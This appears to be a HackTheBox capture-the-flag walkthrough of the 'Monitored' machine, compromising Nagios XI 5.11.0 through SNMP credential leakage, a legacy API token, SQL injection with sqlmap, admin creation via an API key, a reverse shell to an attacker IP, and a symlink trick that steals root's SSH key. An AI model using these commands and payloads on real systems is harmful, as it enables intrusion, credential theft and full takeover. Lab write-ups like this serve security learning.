Overview

Monitored is a medium HackTheBox Linux machine centred on Nagios XI. SNMP enumeration leaks a service account’s password directly from a running process’s command-line arguments, which unlocks a legacy authentication API for the monitoring dashboard. From there, a SQL injection vulnerability in Nagios XI 5.11.0 (CVE-2023-40931) dumps an admin API key, and an older, separate exploit uses that key to create a fresh admin account outright, no password cracking required. Custom command execution inside Nagios gives a shell, and root comes from a sudo-permitted script that copies a log file by name without validating that the name isn’t a symlink to something far more sensitive.

Attack Chain

  • Scan the target over TCP and UDP, finding HTTP, HTTPS, LDAP, and an NSCA port
  • Add nagios.monitored.htb to /etc/hosts
  • Enumerate SNMP and find the public community string
  • Use snmpwalk against HOST-RESOURCES-MIB::hrSWRunParameters to find a service account’s password in a running process’s arguments
  • Find a Nagios XI landing page on port 443
  • Fail to log in normally with the recovered svc credentials, since the account isn’t a valid dashboard user
  • Use a documented legacy API endpoint to authenticate svc and obtain an auth token
  • Use the token to log in and identify the running version, 5.11.0
  • Identify a known SQL injection vulnerability in this version
  • Confirm the injection with a crafted BurpSuite request, then automate extraction with sqlmap
  • Dump the xi_users table and recover an admin API key
  • Use a separate, older exploit to create a new admin user directly via the API key
  • Log in as the new admin user and create a custom command containing a reverse shell payload
  • Trigger the command against a monitored host to execute it
  • Catch a shell as nagios and read the user flag
  • Find a sudo-permitted script, getprofile.sh, that copies phpmailer.log into a profile archive using an unvalidated folder path
  • Replace phpmailer.log with a symlink to root’s SSH private key
  • Run the script with sudo, then extract the copied key from the resulting archive
  • Use the recovered key to SSH in as root and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.11.224; export NAME=MONITORED; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80,389,443,5667

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

TCP nmap results

We add nagios.monitored.htb to our /etc/hosts.

We also run a UDP scan.

sudo nmap $IP -sU --top-ports 100 -v -oA scans/nmap_top100_UDP_$NAME

UDP nmap results


SNMP Enumeration

Recovering Credentials

We use onesixtyone to check for community strings.

onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP

We find public.

onesixtyone finds the public community string

We use snmpwalk to check RunParameters for running processes and their command-line arguments.

snmpwalk -c public -v2c $IP HOST-RESOURCES-MIB::hrSWRunParameters

We find a bunch of command-line parameters for the user svc, including a password, plus one sudo command running a script, /opt/scripts/check_hosts.sh.

RunParameters reveal svc’s password - part 1

RunParameters continued - part 2

svc:XjH7VCehowpR1xZB

Web Enumeration

Nagios XI Landing Page

Browsing to port 443 shows a landing page for Nagios XI.

Nagios XI landing page

We navigate to Access Nagios XI and find a login page.

Nagios XI login page

We try the svc credentials and get a message that the account has been disabled or does not exist.

svc account disabled or doesn’t exist

We try the svc username again with a test password and get an Invalid username or password message instead.

svc with a test password returns invalid credentials


Foothold

Legacy Authentication API

A forum post explains this is an old backend component no longer updated, and provides curl requests for an authentication API:

curl -XPOST -k -L 'http://YOURXISERVER/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=nagiosadmin&password=YOURPASS&valid_min=5'

curl -k -L 'http://YOURXISERVER/nagiosxi/includes/components/nagioscore/ui/trends.php?createimage&host=localhost&token=TOKEN' > image.png

We update the first request with our details.

curl -XPOST -k -L 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'

We get an authentication token.

receiving an auth token

With the auth_token, we access the dashboard directly:

https://nagios.monitored.htb/nagiosxi/index.php?token=e1e3bf3be9815096d5f8d734775a1d5960488b0a

We’re logged in.

logged in via the token

We’re working with v5.11.0.

Nagios XI version 5.11.0

SQL Injection

Nagios XI 5.11.0 is vulnerable to a known SQL injection issue:

https://outpost24.com/blog/nagios-xi-vulnerabilities/

Nagios XI 5.11.0 SQL injection vulnerability

We recreate a POST request in BurpSuite:

POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1
Host: nagios.monitored.htb
Cookie: nagiosxi=bk7tg73v0gd8j2aut6r74gvmcf
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

action=acknowledge_banner_message&id=*

the request in BurpSuite

The response confirms SQL injection.

SQL injection confirmed

Extracting Data with sqlmap

We enumerate databases first.

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" --batch -p id --cookie="nagiosxi=bk7tg73v0gd8j2aut6r74gvmcf" --dbs --threads=10

We have information_schema and nagiosxi.

sqlmap enumerates databases

We investigate the tables in nagiosxi.

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" --batch -p id --cookie="nagiosxi=bk7tg73v0gd8j2aut6r74gvmcf" -D nagiosxi --tables --threads=10

sqlmap enumerates tables

We dump the xi_users table.

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" --batch -p id --cookie="nagiosxi=bk7tg73v0gd8j2aut6r74gvmcf" -D nagiosxi -T xi_users --dump --threads=10

We have an admin user with an api_key and hashed password.

dumping xi_users

We narrow the dump to just user_id, email, api_key, and password.

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" --batch -p id --cookie="nagiosxi=bk7tg73v0gd8j2aut6r74gvmcf" -D nagiosxi -T xi_users -C user_id,email,api_key,password --dump --threads=10

dumping specific columns from xi_users

Creating an Admin User via API Key

There’s an older exploit for Nagios XI 5.2.6 < 5.2.9 / 5.3 / 5.4 that lets us use an api_key to add an admin user:

https://www.exploit-db.com/exploits/44560
IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

We create a new admin user, hacked, with password hacked.

curl -k --silent "http://nagios.monitored.htb/nagiosxi/api/v1/system/user&apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL" -d "username=hacked&password=hacked&name=HACKED&email=hacked@localhost&auth_level=admin"

We have a new admin user.

new admin user created

We log in with the new user.

logging in as hacked

Command Execution via Custom Commands

Under Configure, then Core Config Manager, we navigate to Commands and create a new custom command.

creating a new custom command

We add a basic reverse shell payload.

bash -c "bash -i >& /dev/tcp/10.10.14.11/443 0>&1"

the reverse shell payload

We start a penelope listener on port 443, find our payload among the commands, and save the configuration.

payload saved in commands

We go to Hosts, then localhost.

navigating to Hosts > localhost

We select our command from Check Command, then Run Check Command.

running the custom check command

Our first payload doesn’t work. Switching the double quotation marks for single quotation marks does:

bash -c 'bash -i > /dev/tcp/10.10.14.11/443 0>&1'

the updated payload with single quotes

We have a shell as nagios.

shell as nagios

We read the user flag.

user flag


Privilege Escalation

Finding a Sudo Script

We check our privileges with sudo -l.

sudo -l output

We look at /usr/local/nagiosxi/scripts/components/getprofile.sh. The script takes a $folder input.

getprofile.sh accepts a folder argument

The script checks whether phpmailer.log exists in /usr/local/nagiosxi/tmp/. If it does, it copies the last 100 lines into a folder inside /usr/local/nagiosxi/var/components/profile/ using tail. Because the script runs with elevated privileges, this is a security risk.

script copies phpmailer.log with tail

The problem is that the script doesn’t validate what phpmailer.log actually is, we can replace it with a symlink pointing to root/.ssh/id_rsa.

We check whether SSH is enabled for root.

cat /etc/ssh/sshd_config | grep -E 'PermitRootLogin|PubkeyAuthentication'

We confirm root has SSH enabled.

confirming root SSH is enabled

We check our permissions on /usr/local/nagiosxi/tmp/phpmailer.log and find we have write access to the tmp folder.

write permissions on the tmp folder

We create a symlink pointing to /root/.ssh/id_rsa.

ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log

We execute the script with sudo.

sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1

running getprofile.sh with sudo

Extracting the Key

We view the folder where the zipped profile is stored.

ls -la /usr/local/nagiosxi/var/components/

viewing the profile output folder

We copy profile.zip to /tmp and unzip it.

cp /usr/local/nagiosxi/var/components/profile.zip /tmp
unzip profile.zip

copying and unzipping profile.zip

Listing the contents of /tmp, we have a profile folder containing phpmailer.log.

profile folder containing phpmailer.log

Viewing its contents gives us root’s SSH id_rsa key.

phpmailer.log contains root’s id_rsa

We copy the key to our attacking machine and set permissions with chmod 600.

copying the key and setting permissions

We log in over SSH as root.

ssh root@nagios.monitored.htb -i root.key

SSH login as root

We read the root flag.

root flag


Key Takeaways

Monitored is a reminder that SNMP process-argument enumeration remains one of the most reliable, and often overlooked, ways to leak plaintext credentials on Linux hosts. From there, Nagios XI’s history of vulnerabilities compounds: a modern SQL injection (CVE-2023-40931) recovers an API key that an older, still-functional exploit uses to create a fresh administrator account outright, no password cracking needed at any point. The root cause for privilege escalation is the same pattern seen across countless privileged scripts: getprofile.sh copied a file by a fixed name without ever confirming that name still pointed at the file it was supposed to, letting a symlink substitute root’s private key for a log file.